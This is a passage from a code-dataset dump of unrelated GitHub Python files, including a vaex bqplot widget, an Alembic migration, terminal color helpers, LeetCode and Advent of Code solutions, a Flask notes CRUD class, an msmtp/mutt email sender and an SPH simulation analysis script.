widgets.link((self, 'y_label'), (self.y_axis, 'label'))\n self.x_axis.color = blackish\n self.y_axis.color = blackish\n self.x_axis.label_color = blackish\n self.y_axis.label_color = blackish\n # self.y_axis.tick_style = {'fill': blackish, 'stroke':'none'}\n self.y_axis.grid_color = blackish\n self.x_axis.grid_color = blackish\n self.x_axis.label_offset = \"2em\"\n self.y_axis.label_offset = \"3em\"\n self.x_axis.grid_lines = 'none'\n self.y_axis.grid_lines = 'none'\n\n self.axes = [self.x_axis, self.y_axis]\n self.scales = {'x': self.x_scale, 'y': self.y_scale}\n\n self.figure = bqplot.Figure(axes=self.axes)\n self.figure.background_style = {'fill': 'none'}\n self.figure.padding_y = 0\n self.figure.fig_margin = {'bottom': 40, 'left': 60, 'right': 10, 'top': 10}\n\n self.interacts = {}\n self.interacts['pan-zoom'] = bqplot.PanZoom(scales={'x': [self.x_scale], 'y': [self.y_scale] if zoom_y else []})\n self.interacts['select-rect'] = bqplot.interacts.BrushSelector(x_scale=self.x_scale, y_scale=self.y_scale, color=\"green\")\n self.interacts['select-x'] = bqplot.interacts.BrushIntervalSelector(scale=self.x_scale, color=\"green\")\n self._brush = self.interacts['select-rect']\n self._brush_interval = self.interacts['select-x']\n\n # TODO: put the debounce in the presenter?\n @vaex.jupyter.debounced(DEBOUNCE_SELECT)\n def update_brush(*args):\n with self.output:\n if not self._brush.brushing: # if we ended _brushing, reset it\n self.figure.interaction = None\n if self._brush.selected is not None:\n x1, x2 = self._brush.selected_x\n y1, y2 = self._brush.selected_y\n # (x1, y1), (x2, y2) = self._brush.selected\n # mode = self.modes_names[self.modes_labels.index(self.button_selection_mode.value)]\n self.presenter.select_rectangle(x1, x2, y1, y2)\n else:\n self.presenter.select_nothing()\n if not self._brush.brushing: # but then put it back again so the rectangle is gone,\n self.figure.interaction = self._brush\n\n self._brush.observe(update_brush, [\"selected\", \"selected_x\"])\n\n @vaex.jupyter.debounced(DEBOUNCE_SELECT)\n def update_brush(*args):\n with self.output:\n if not self._brush_interval.brushing: # if we ended _brushing, reset it\n self.figure.interaction = None\n if self._brush_interval.selected is not None and len(self._brush_interval.selected):\n x1, x2 = self._brush_interval.selected\n self.presenter.select_x_range(x1, x2)\n else:\n self.presenter.select_nothing()\n if not self._brush_interval.brushing: # but then put it back again so the rectangle is gone,\n self.figure.interaction = self._brush_interval\n\n self._brush_interval.observe(update_brush, [\"selected\"])\n\n def tool_change(change=None):\n self.figure.interaction = self.interacts.get(self.tool, None)\n self.observe(tool_change, 'tool')\n self.widget = self.figure\n\n\nclass Histogram(_BqplotMixin):\n opacity = 0.7\n\n def __init__(self, output, presenter, **kwargs):\n self.output = output\n self.presenter = presenter\n super().__init__(zoom_y=False, **kwargs)\n self.bar = self.mark = bqplot.Bars(x=[1, 2], scales=self.scales, type='grouped')\n self.figure.marks = self.figure.marks + [self.mark]\n\n def update_data(self, x, y, colors):\n self.mark.x = x\n self.mark.y = y\n self.mark.colors = colors\n\n def _reset_opacities(self):\n opacities = self.mark.y * 0 + self.opacity\n self.mark.opacities = opacities.T.ravel().tolist()\n\n def highlight(self, index):\n if index is None:\n self._reset_opacities()\n opacities = (self.mark.y * 0 + 0.2)\n if len(self.mark.y.shape) == 2:\n opacities[:, index] = self.opacity\n else:\n opacities[index] = self.opacity\n self.mark.opacities = opacities.T.ravel().tolist()\n\n\nclass PieChart(_BqplotMixin):\n opacity = 0.7\n\n def __init__(self, output, presenter, radius=100, **kwargs):\n self.output = output\n self.presenter = presenter\n self.radius = radius\n super().__init__(zoom_y=False, **kwargs)\n self.pie1 = self.mark = bqplot.Pie(sizes=[1, 2], radius=self.radius, inner_radius=0, stroke=blackish)\n self.figure.marks = self.figure.marks + [self.mark]\n\n def update_data(self, x, y, colors):\n # TODO: support groups\n self.pie1.sizes = y[0]\n\n def reset_opacities(self):\n opacities = self.mark.y * 0 + self.opacity\n self.state.x_slice = None\n self.mark.opacities = opacities.T.ravel().tolist()\n\n def highlight(self, index):\n opacities = (self.mark.y * 0 + 0.2)\n if len(self.mark.y.shape) == 2:\n opacities[:, index] = self.opacity\n else:\n opacities[index] = self.opacity\n self.mark.opacities = opacities.T.ravel().tolist()\n self.reset_opacities()\n\n\nclass Heatmap(_BqplotMixin):\n def __init__(self, output, presenter, **kwargs):\n self.output = output\n self.presenter = presenter\n super().__init__(**kwargs)\n self.heatmap_image = widgets.Image(format='png')\n self.heatmap_image_fix = widgets.Image(format='png')\n self.mark = bqplot.Image(scales=self.scales, image=self.heatmap_image)\n self.figure.marks = self.figure.marks + [self.mark]\n\n def set_rgb_image(self, rgb_image):\n with self.output:\n assert rgb_image.shape[-1] == 4, \"last dimention is channel\"\n rgb_image = (rgb_image * 255.).astype(np.uint8)\n pil_image = vaex.image.rgba_2_pil(rgb_image)\n data = vaex.image.pil_2_data(pil_image)\n self.heatmap_image.value = data\n # force update\n self.mark.image = self.heatmap_image_fix\n self.mark.image = self.heatmap_image\n # TODO: bqplot bug that this does not work?\n # with self.image.hold_sync():\n self.mark.x = (self.x_min, self.x_max)\n self.mark.y = (self.y_min, self.y_max)\n","repo_name":"vaexio/vaex","sub_path":"packages/vaex-jupyter/vaex/jupyter/bqplot.py","file_name":"bqplot.py","file_ext":"py","file_size_in_byte":7587,"program_lang":"python","lang":"en","doc_type":"code","stars":8057,"dataset":"github-code","pt":"53"}
+{"seq_id":"552411718","text":"\"\"\"Add is_in_box column.\n\nRevision ID: 1fab5cb0725\nRevises: 39c87223255\nCreate Date: 2014-09-11 17:16:12.321937\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '1fab5cb0725'\ndown_revision = '39c87223255'\n\nfrom alembic import op\nfrom sqlalchemy import Column, Boolean\n\n\ndef upgrade():\n op.add_column(\n 'game_entities',\n Column(\n 'is_in_box',\n Boolean,\n nullable=False,\n server_default='false'))\n\n\ndef downgrade():\n op.drop_column('game_entities', 'is_in_box')\n","repo_name":"socek/konwentor","sub_path":"code/alembic/versions/1fab5cb0725_add_is_in_box_column.py","file_name":"1fab5cb0725_add_is_in_box_column.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"38724896957","text":"from fresco.parallel_processing import multiprocess_functions\n\ndef scope_optimization(initial_feature_vector, problem_data, group_vector_scorer, vector_generator, n_iterations, n_processes, n_maintain, save_iterations):\n outcome_set = [group_vector_scorer.score_feature_vector(problem_data, initial_feature_vector)]\n return_set = [outcome_set[0]]\n \n for iteration in range(1, n_iterations):\n new_vector_set = vector_generator.generate_vectors(outcome_set)\n \n testing_functions = [(group_vector_scorer.score_feature_vector, (problem_data, new_vector)) for new_vector in new_vector_set]\n result_handler = outcome_set.append\n multiprocess_functions(testing_functions, result_handler, n_processes)\n \n outcome_set.sort(key=lambda outcome:outcome.prediction_quality, reverse=True)\n outcome_set = outcome_set[:n_maintain]\n return_set.append(outcome_set[0])\n\n return return_set if save_iterations else return_set[-1]\n","repo_name":"rybern/fresco","sub_path":"fresco/scope_optimization.py","file_name":"scope_optimization.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"}
+{"seq_id":"72296616169","text":"#!/usr/bin/env python3\n\nfrom typing import Union, Optional, Tuple\nimport shutil\nfrom enum import Enum\n\n_COLOR_END = \"\\033[0m\"\n_CLR_DICT = {\"black\": 0,\n \"red\": 196,\n \"dred\": 88,\n \"lblue\": 74,\n \"blue\": 33,\n \"dblue\": 21,\n \"purple\": 171,\n \"dpurple\": 93,\n \"lpurple\": 183,\n \"orange\": 214,\n \"teal\": 123,\n \"green\": 70,\n \"dgreen\": 28,\n \"lgreen\": 46,\n \"pink\": 218,\n \"lyellow\": 229,\n \"yellow\": 226,\n \"dyellow\": 220,\n \"warning\": 221,\n \"brown\": 130,\n \"lgrey\": 250,\n \"grey\": 244,\n \"dgrey\": 239,\n \"white\": 256}\n\n_ORANGE_GREEN_GRAD = {0: 196, 1: 202, 10: 208, 20: 215,\n 30: 184, 40: 148, 50: 190, 60: 118, 70: 46}\n\n_FORMAT_CODES = {\n \"mg[\": 243, # medium grey\n \"dg[\": 239, # dark grey\n \"lg[\": 252, # light grey\n \"e[\": 196, # error\n \"g[\": 154, # green\n \"b[\": 74, # blue\n \"i[\": 154, # info\n \"o[\": 214, # orange\n \"d[\": 239, # dark /grey\n \"y[\": 229, # yellow\n \"w[\": _CLR_DICT[\"warning\"],\n \"p[\": _CLR_DICT[\"purple\"]}\n\n\nclass Color(Enum):\n Black = _CLR_DICT[\"black\"]\n LightGreen = _CLR_DICT[\"lgreen\"]\n DarkGreen = _CLR_DICT[\"dgreen\"]\n Orange = _CLR_DICT[\"orange\"]\n Purple = _CLR_DICT[\"purple\"]\n LightPurple = _CLR_DICT[\"lpurple\"]\n DarkPurple = _CLR_DICT[\"dpurple\"]\n Pink = _CLR_DICT[\"pink\"]\n Teal = _CLR_DICT[\"teal\"]\n LightBlue = _CLR_DICT[\"lblue\"]\n DarkYellow = _CLR_DICT[\"dyellow\"]\n LightYellow = _CLR_DICT[\"lyellow\"]\n LightGrey = _CLR_DICT[\"lgrey\"]\n DarkGrey = _CLR_DICT[\"dgrey\"]\n Grey = _CLR_DICT[\"grey\"]\n Red = _CLR_DICT[\"red\"]\n Error = _CLR_DICT[\"red\"]\n Warning = _CLR_DICT[\"warning\"]\n Brown = _CLR_DICT[\"brown\"]\n White = _CLR_DICT[\"white\"]\n\n\nColorType = Union[int, str, Color]\n\n\ndef _to_index_str(color_value: ColorType) -> str:\n if isinstance(color_value, int):\n return str(color_value)\n if isinstance(color_value, str):\n return str(_CLR_DICT.get(color_value, Color.LightGreen.value))\n if isinstance(color_value, Color):\n return str(color_value.value)\n return str(Color.LightGreen.value)\n\n\ndef cstr(string: str, foreground: ColorType, background: Optional[ColorType] = None, bold: bool = False) -> str:\n _color_str = \"\\033[38;5;\" + _to_index_str(foreground) + \"m\"\n if background:\n _color_str += \"\\033[48;5;\" + _to_index_str(background) + \"m\"\n if bold:\n _color_str += \"\\033[1m\"\n return f\"{_color_str}{str(string)}{_COLOR_END}\"\n\n\ndef pcstr(string: str, foreground: ColorType, background: Optional[ColorType] = None, bold: bool = False) -> None:\n print(cstr(string, foreground, background, bold))\n\n\ndef percentage_to_cstr(percentage: str) -> str:\n percentage_val = int(percentage.replace('%', ''))\n for key, val in _ORANGE_GREEN_GRAD.items():\n if percentage_val > key:\n continue\n return cstr(percentage, val)\n return cstr(percentage, Color.LightGreen)\n\n\ndef print_color_format_string(string: str,\n format_chars: Tuple[str, str] = ('[', ']'),\n show: bool = True,\n end: str = '\\n',\n get_str: bool = False) -> Optional[str]:\n \"\"\"Prints with color, based on a special format in the passed string\"\"\"\n if len(format_chars) != 2 or not show:\n return\n for code, color_val in _FORMAT_CODES.items():\n begin_code = code.replace('[', format_chars[0])\n string = string.replace(begin_code, \"\\033[38;5;\" + str(color_val) + \"m\")\n colored_str = string.replace(format_chars[1], _COLOR_END)\n if get_str:\n return colored_str\n print(string.replace(format_chars[1], _COLOR_END), end=end)\n\n\ndef pfcs(string: str, format_chars: Tuple[str, str] = ('[', ']'), show: bool = True, end: str = '\\n') -> None:\n \"\"\"Short for PrintFormatColorString, same as pcfs method\"\"\"\n print_color_format_string(string, format_chars=format_chars, show=show, end=end)\n\n\ndef pcfs(string: str, format_chars: Tuple[str, str] = ('[', ']'), show: bool = True, end: str = '\\n') -> None:\n \"\"\"Short for PrintColorFormatString, same as pfcs method\"\"\"\n print_color_format_string(string, format_chars=format_chars, show=show, end=end)\n\n\ndef fcs(string, format_chars=('[', ']')) -> str:\n return print_color_format_string(string, format_chars, get_str=True)\n\n\ndef print_line(color: ColorType = 239, adapt_to_terminal_width: bool = True, length: int = 100,\n char: str = \"=\") -> None:\n if adapt_to_terminal_width:\n length = shutil.get_terminal_size()[0] - 1\n pcstr(char * length, color)\n\n\ndef to_color_str(string: str, foreground: ColorType, background: Optional[ColorType] = None, bold: bool = False) -> str:\n \"\"\" Wrapper for cstr \"\"\"\n return cstr(string, foreground, background, bold)\n\n\ndef main():\n def test_colors():\n for color_value in range(0, 257):\n pcstr(f\": {color_value} ##################\", color_value)\n\n for color_str, color_val in _CLR_DICT.items():\n pcstr(color_str.upper() + f\": {color_val}\", color_str)\n\n print(\"colors:\\n\")\n test_colors()\n pfcs(f\"Hello I am dg[dark grey] i am g[green]\")\n pfcs(f\"Hello I am e[error] and I am b[info]\")\n pfcs(f\"Hello I am e.error- and I am b.info-\", format_chars=('.', '-'))\n print(cstr(\"Hello I am orange using enum\", Color.Orange))\n print(cstr(\"Hello I am black/orange using enum\", Color.Black, Color.Orange))\n print_line(color=\"blue\")\n print_line(color=\"red\")\n print_line()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"GoblinDynamiteer/scripts","sub_path":"printout.py","file_name":"printout.py","file_ext":"py","file_size_in_byte":5766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"7479468372","text":"\n\n#part1\nprint(\"part1\")\nshared_items = ''\noutput = 0\n\nwith open(\"input.txt\", \"r\") as file:\n for line in file.readlines():\n line = line.strip()\n lenght = int(len(line))\n length_comp1 = int(len(line) / 2)\n comp1 = line[0:length_comp1]\n comp2 = line[length_comp1:lenght]\n\n for char in comp1:\n if char in comp2:\n shared_items = shared_items + char\n break\n\n for char in shared_items:\n if char.islower():\n number = ord(char) - 96\n output = output + number\n else:\n number = ord(char) - 64 + 26\n output = output + number\n\n print(output)\nfile.close()\n\n#part2\nprint(\"part2\")\nresult = 0\n\nfrom string import ascii_lowercase, ascii_uppercase\nkey = ascii_lowercase + ascii_uppercase\nwith open(\"input.txt\", \"r\") as file:\n all_rucksacks = file.read().strip()\n\nlines = all_rucksacks.split(\"\\n\")\nfor i in range(0,len(lines), 3):\n elf_group = lines[i:(i + 3)]\n\n for i, c in enumerate(key):\n if all([c in li for li in elf_group]):\n result += key.index(c) + 1\n\nprint(result)","repo_name":"Pixie-Axerup/adventofcode2022-python","sub_path":"day3/day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"7568848944","text":"import requests\n\nURL = \"https://hub.snapshot.org/graphql\"\nQUERY = \"\"\"\nquery getVotes($first: Int!, $skip: Int!, $where: VoteWhere) {\n votes(first: $first, skip: $skip, where: $where) {\n choice\n vp\n }\n}\n\"\"\"\nHEADERS = {\"Content-Type\": \"application/json\"}\n\n\ndef get_proposal_current_result(proposal_id: int) -> list[dict]:\n variables = {\"first\": 1000, \"skip\": 0, \"where\": {\"proposal\": proposal_id}}\n with requests.Session() as session:\n response = session.post(URL, json={\"query\": QUERY, \"variables\": variables}, headers=HEADERS, timeout=10)\n response.raise_for_status()\n data = response.json()\n return data.get(\"data\", {}).get(\"votes\", [])\n","repo_name":"redboo/pancakeswap-scraper","sub_path":"snapshot/get_proposal_current_result.py","file_name":"get_proposal_current_result.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"26331596208","text":"# Definition for singly-linked list.\nfrom typing import Optional\n\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\nclass Solution:\n def removeNthFromEnd(self, head: Optional[ListNode], n: int) -> Optional[ListNode]:\n data = []\n cur = head\n while cur:\n data.append(cur)\n cur = cur.next\n if len(data) == 1:\n return None\n if len(data) == n:\n return data[1]\n if n > 1:\n data[len(data) - n - 1].next = data[len(data) - n + 1]\n else:\n data[len(data) - n - 1].next = None\n data.pop(-n)\n return data[0]\n\n def another(self, head, n):\n dummy = ListNode()\n dummy.next = head\n\n pnt1, pnt2 = dummy, head\n for _ in range(n):\n pnt2 = pnt2.next\n\n while pnt2:\n pnt1, pnt2 = pnt1.next, pnt2.next\n\n pnt1.next = pnt1.next.next\n return dummy.next","repo_name":"curlyapollo/leetcode","sub_path":"linked_lists/remove_Nth_node_from_end_of_list/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"53"}
+{"seq_id":"35066806347","text":"# Author: Omkar Dixit\n# Email: omedxt@gmail.com\n\n# Link: https://leetcode.com/problems/merge-k-sorted-lists/\n\n# Time Complexity: O(nlogk) n is number of elements in a list, k is number of lists\n\nimport collections\nimport heapq\n\n\n# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass mergeLLNode:\n def __init__(self, listIndex, currNode):\n self.listIndex = listIndex\n self.currNode = currNode\n \nclass Solution(object):\n def mergeKLists(self, lists):\n \"\"\"\n :type lists: List[ListNode]\n :rtype: ListNode\n \"\"\"\n head = None\n curr = None\n if not lists:\n return None\n if len(lists) == 1:\n if not lists[0]:\n return None\n else:\n return lists[0]\n pq = []\n for i, item in enumerate(lists):\n if item:\n pq.append((item.val, mergeLLNode(i, item)))\n heapq.heapify(pq)\n while pq:\n val, mergeLLNodeInstance = heapq.heappop(pq)\n if not head:\n head = ListNode(val)\n curr = head\n else:\n curr.next = ListNode(val)\n curr = curr.next\n if mergeLLNodeInstance.currNode.next:\n mergeLLNodeInstance.currNode = mergeLLNodeInstance.currNode.next\n pq.append((mergeLLNodeInstance.currNode.val, mergeLLNode(mergeLLNodeInstance.listIndex, mergeLLNodeInstance.currNode)))\n heapq.heapify(pq)\n return head","repo_name":"dixitomkar1809/Coding-Python","sub_path":"LeetCode/kSortedLists.py","file_name":"kSortedLists.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"42608170303","text":"from base64 import b64decode\nimport time\n\n\n\nclass CRUD:\n\n def __init__(self, db, NotesStore, RestoreDB,logging):\n self.db = db\n self.NotesStore = NotesStore\n self.RestoreDB = RestoreDB\n self.logging = logging\n\n\n def SaveNote(self,request):\n content = request.form['NoteContent']\n title = request.form['NoteTitle']\n Author = self.GetUser(request)\n self.logging.info(\"Adding Note By: \" + Author)\n c = int(time.time())\n m = int(time.time())\n entry = self.NotesStore(title=title,user=Author,note=content,ctime=c,mtime=m)\n self.db.session.add(entry)\n self.db.session.commit()\n result = self.NotesStore.query.filter(self.NotesStore.ctime == c).first()\n return (title,content,Author,result.id, self.FormatTime(result.mtime),\n self.FormatTime(result.ctime))\n\n\n def GetUser(self,request):\n auth = request.headers[\"Authorization\"]\n userpass = auth.split()[1]\n details = b64decode(userpass)\n fields = details.split(':')\n username = fields[0]\n return username\n\n\n def UpdateNote(self,request):\n content = request.form['NoteContent']\n title = request.form['Title']\n note_id = request.form['Note_ID']\n self.logging.info(\"Updating Note ID: \" + str(note_id))\n author = request.form['User']\n m = int(time.time())\n result = self.NotesStore.query.filter(self.NotesStore.id == note_id).first()\n result.title = title\n result.note=content\n result.mtime=m\n self.db.session.commit()\n return (title, content, author, result.id, self.FormatTime(m), \n self.FormatTime(result.ctime))\n\n\n def DeleteNote(self,note_id):\n self.logging.info(\"Deleting from Notes DB, Note ID: \" + str(note_id))\n result = self.NotesStore.query.filter(self.NotesStore.id == note_id).first()\n c = int(time.time())\n restoreentry = self.RestoreDB(id=c,title=result.title,user=result.user,\n note=result.note, ctime=result.ctime,\n mtime=result.mtime)\n self.db.session.add(restoreentry)\n self.db.session.commit()\n self.db.session.delete(result)\n self.db.session.commit()\n # Fix this later. Need to return actual status.\n return ('Delete Success')\n\n\n def RestoreNote(self,note_id):\n self.logging.info(\"Looking in restore DB for Note ID: \" + str(note_id))\n result = self.RestoreDB.query.filter(self.RestoreDB.id == note_id).first()\n restoreentry = self.NotesStore(title=result.title,user=result.user,\n note=result.note,ctime=result.ctime,mtime=result.mtime)\n self.db.session.add(restoreentry)\n self.db.session.commit()\n self.db.session.delete(result)\n self.db.session.commit()\n # Fix this later. Need to return actual status.\n return ('Restore Success')\n\n\n def GetNote(self,note_id,tableobj):\n result = tableobj.query.filter(tableobj.id == note_id).first()\n if result == None:\n return (\"Not Found\",\"err\",\"err\",\"0\",\"0\")\n Author = result.user\n ctime = result.ctime\n mtime = result.mtime\n title = result.title\n content = result.note\n return (title,content,Author,self.FormatTime(ctime),\n self.FormatTime(mtime))\n\n\n\n def FormatTime(self,t):\n return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(t))\n","repo_name":"NuisanceLevel7/Notes","sub_path":"CRUD.py","file_name":"CRUD.py","file_ext":"py","file_size_in_byte":3534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74064523369","text":"import cv2\nfrom retinaface import RetinaFace\n\ndetector = RetinaFace(quality=\"normal\")\nimg_path = 'dataset/IU/IU.jpg'\nimg_bgr = cv2.imread(img_path, cv2.IMREAD_COLOR)\nimg_rgb = cv2.cvtColor(img_bgr, cv2.COLOR_BGR2RGB)\ndetections = detector.predict(img_rgb)\nprint(detections)\n\nimg_result = detector.draw(img_rgb, detections)\nimg = cv2.cvtColor(img_result, cv2.COLOR_RGB2BGR)\ncv2.imshow(\"windows\", img)\nkey = cv2.waitKey()\nif key == ord(\"q\"):\n print(\"exit\")\n\ncv2.destroyWindow(\"windows\")\n","repo_name":"tmhant/Python","sub_path":"face_detect.py","file_name":"face_detect.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"30211722194","text":"#!/usr/bin/env python3\n\n# File: send.py\n\n\"\"\"\nProvides a python interface to the command line msmtp command.\nBy default uses my easydns.com account as mail transfer agent.\nAssumes proper configuration of ~/.msmtprc\n\"\"\"\n\nimport sys\nimport tempfile\nimport subprocess\n\n\ndef mutt_send(recipient, subject, body,\n attachments=None,\n mutt_config='~/.mutteasy'):\n \"\"\"\n Does the mass e-mailings with attachment(s) which, if\n provided, must be in the form of a list of files.\n \"\"\"\n cmd_args = [\"mutt\", \"-F\", mutt_config, ]\n cmd_args.extend([\"-s\", \"{}\".format(subject)])\n if attachments:\n list2attach = ['-a']\n for path2attach in attachments:\n list2attach.append(path2attach)\n cmd_args.extend(list2attach)\n cmd_args.extend([\"--\", recipient])\n p = subprocess.run(cmd_args, stdout=subprocess.PIPE,\n input=body, encoding='utf-8')\n if p.returncode:\n print(\"Error: {} ({})\".format(\n p.stdout, recipient))\n\n\ndef smtp_send(recipients, message, account='easy'):\n \"\"\"\n Send email, as defined in [1],\n to the who will receive this email\n from person identified by the 'from' clause in ~/.msmtprc.\n must be an iterable of one or more strings\n representing valid email addresses.\n [1] must be in proper format with\n \"From:\", \"To:\" & \"Subject:\" lines (no leading spaces!)\n followed by a blank line and then the text of the email.\n \"\"\"\n cmd_args = [\"msmtp\", \"-a\", account, ]\n for recipient in recipients:\n cmd_args.append(recipient)\n p = subprocess.run(cmd_args, stdout=subprocess.PIPE,\n input=message, encoding='utf-8')\n if p.returncode:\n print(\"Error: {} ({})\".format(\n p.stdout, recipient))\n\n\nrecipients = (\"alex@kleider.ca\",\n \"alexkleider@gmail.com\",\n# \"alexkleider@protonmail.com\",\n )\nbody=\"\"\"Body of email sits here.\nI hope formatting is preserved.\nSincerely,\nAlex Kleider\n\"\"\"\n\nheader = \"\"\"From: alex@kleider.ca\nTo: alexkleider@gmail.com\nSubject: this is a test\n\n{}\"\"\".format(body)\n\nattachments = (\n\"\"\"# First attachment4testing\n\nThis is a test attachment.\n\"\"\",\n\"\"\"# Second attachment4testing\n\nAnother attachment for testing.\n\"\"\",\n)\n\ntest_files = []\n\ndef create_attachment_files(\n attachments=attachments,\n test_files=test_files):\n n = 0\n for attachment in attachments:\n temp_file = tempfile.NamedTemporaryFile(mode='w')\n temp_file.write(attachment)\n test_files.append(temp_file)\n\ndef delete_attachment_files(test_files=test_files):\n for test_file in test_files:\n test_file.close()\n\nif __name__ == \"__main__\":\n response = input(\"Send a test email using m)utt or s)mtp? \")\n if response and response[0] in 'sS':\n print(\"Using smtp...\")\n smtp_send(recipients, header + body)\n elif response and response[0] in 'mM':\n print(\"Using mutt...\")\n create_attachment_files()\n mutt_send('alex@kleider.ca',\n 'this is a test',\n body,\n attachments=[attachment.name\n for attachment in test_files ])\n else:\n print(\"Must specify M)utt or S)mtp.\")\n\n\n","repo_name":"alexKleider/Club_Utilities","sub_path":"dev/mail/send.py","file_name":"send.py","file_ext":"py","file_size_in_byte":3293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"73953959209","text":"\n\nclass Node:\n def __init__(self, value):\n self.value = value\n self.next = None\n\n\nclass reOrderList:\n \n def reOrder(self, head):\n \"\"\"\n Do not return anything, modify head in-place instead.\n \"\"\"\n if not head:\n return head\n \n middleNode = self.findTheMiddleNode(head)\n reverseMiddleNode = self.reverseNode(middleNode)\n \n newNode = head\n while reverseMiddleNode is not None:\n next = newNode.next\n newNode.next = reverseMiddleNode\n reverseMiddleNode = reverseMiddleNode.next\n newNode.next.next = next\n newNode = next\n \n return head\n\n \n def findTheMiddleNode(self, node):\n slow, fast = node, node\n \n while fast.next is not None and fast.next.next is not None:\n slow = slow.next\n fast = fast.next.next\n \n middle = slow.next\n slow.next = None\n return middle\n \n \n def reverseNode(self, middleNode):\n prev = None\n while middleNode is not None:\n next = middleNode.next\n middleNode.next = prev\n prev = middleNode\n middleNode = next\n \n return prev\n\n\nnode = Node(1)\nnode.next = Node(2)\nnode.next.next = Node(3)\nnode.next.next.next = Node(4)\nnode.next.next.next.next = Node(5)\nnode.next.next.next.next.next = Node(6)\n\nsol = reOrderList()\nprint(sol.reOrder(node))","repo_name":"ArshErgon/Leetcode-Question-Solution","sub_path":"LeetCode/linkedList/medium/reOrderList.py","file_name":"reOrderList.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"15668167213","text":"from django.test import TestCase\nimport os\nimport yaml\nimport pymysql\n\n# Create your tests here.\n\n# 打开数据库连接\ndb = pymysql.connect('localhost', 'root', 'root', 'django_restful')\n# 使用 cursor() 方法创建一个游标对象 cursor\ncursor = db.cursor()\n\npath = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'api', 'test_project', 'data', 'datas.yaml')\nwith (open(path, 'r', encoding='utf8')) as f:\n datas = yaml.load(f, Loader=yaml.FullLoader)\nprint(datas)\ndata = datas['data1']\nprint(data)\nfor i in range(len(datas['data1'])):\n tabel_name = datas['database1']\n id = datas['data1'][i]['id']\n usrname = datas['data1'][i]['username']\n email = datas['data1'][i]['email']\n groups = datas['data1'][i]['groups']\n sql = f\"\"\"INSERT INTO {tabel_name}(id,username, email, `groups`) VALUES ('{id}', '{usrname}', '{email}', '{groups}')\"\"\"\n print(sql)\n\nfor i in range(len(datas['data1'])):\n tabel_name = datas['database2']\n id = datas['data2'][i]['id']\n name = datas['data2'][i]['name']\n sql = f\"\"\"INSERT INTO {tabel_name}(id,name) VALUES ('{id}', '{name}')\"\"\"\n print(sql)\n\n\n","repo_name":"liuchangfu/django_restful","sub_path":"api/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"13698132297","text":"### This file calculates the ratio of accreted impactor core mass to total impactor core mass for a given SPH simulation ###\n\n\nimport math, glob \nimport matplotlib.pyplot as plt\n\nclass target:\n radii = []\n center = []\n\n#Converts a number in scientific notation to a float\ndef sci2Float (sciNot):\n A = sciNot.split('e')\n return float(A[0])*math.pow(10, int(A[1]))\n\n#Calculates the number of iron particles inside of the target\ndef numIron (target, x, y, z, iron, leng):\n ironCount = 0\n for i in range(0, leng):\n if (1 > ((target.center[0]-x[i])/(target.radii[0]))**2 + ((target.center[1] - y[i])/(target.radii[1]))**2 + \n ((target.center[2] - z[i])/(target.radii[2]))**2 and iron[i]):\n ironCount+=1\n return(ironCount)\n\n\n# In[2]:\n\n\ndirectory = input('Enter directory name for data set: ')\nwhile(True):\n files = sorted(glob.glob('./'+directory+'/*.dat'))\n if len(files) == 0: \n directory = input('Non-existent or empty directory. Please try again: ')\n else:\n break \n\nsep = int(input('Separation index between target and impactor: '))\n\n# In[3]:\n\n\ntrgt = target()\ntime = []\nironAmt = []\nironRat = []\n\nfor file in files:\n if str(file).endswith(\"disk.dat\"):\n break\n with open(file) as r:\n lines = r.readlines()[2:]\n print(str(file))\n curr_time = sci2Float(lines[0])\n lines = lines[1:]\n x_t, x_i = [],[]\n y_t, y_i = [],[]\n z_t, z_i = [],[]\n iron_t, iron_i = [],[]\n \n for line in lines:\n coord = sci2Float(line.split()[1])\n x_t.append(coord)\n\n for line in lines:\n coord = sci2Float(line.split()[2])\n y_t.append(coord)\n \n for line in lines:\n coord = sci2Float(line.split()[3])\n z_t.append(coord)\n \n for line in lines:\n iron = int(line.split()[7])\n if iron==3:\n iron_t.append(True)\n else:\n iron_t.append(False)\n \n x_i = x_t[sep:]\n y_i = y_t[sep:]\n z_i = z_t[sep:]\n iron_i = iron_t[sep:]\n \n x_t = x_t[:sep-1]\n y_t = y_t[:sep-1]\n z_t = z_t[:sep-1]\n iron_t = iron_t[:sep-1]\n \n trgt.center = [sum(x_t)/len(x_t), sum(y_t)/len(y_t), sum(z_t)/len(z_t)]\n time.append(curr_time)\n if str(file).endswith(\"1.dat\"):\n trgt.radii = [abs(trgt.center[0]-max(x_t)), abs(trgt.center[1]-max(y_t)), 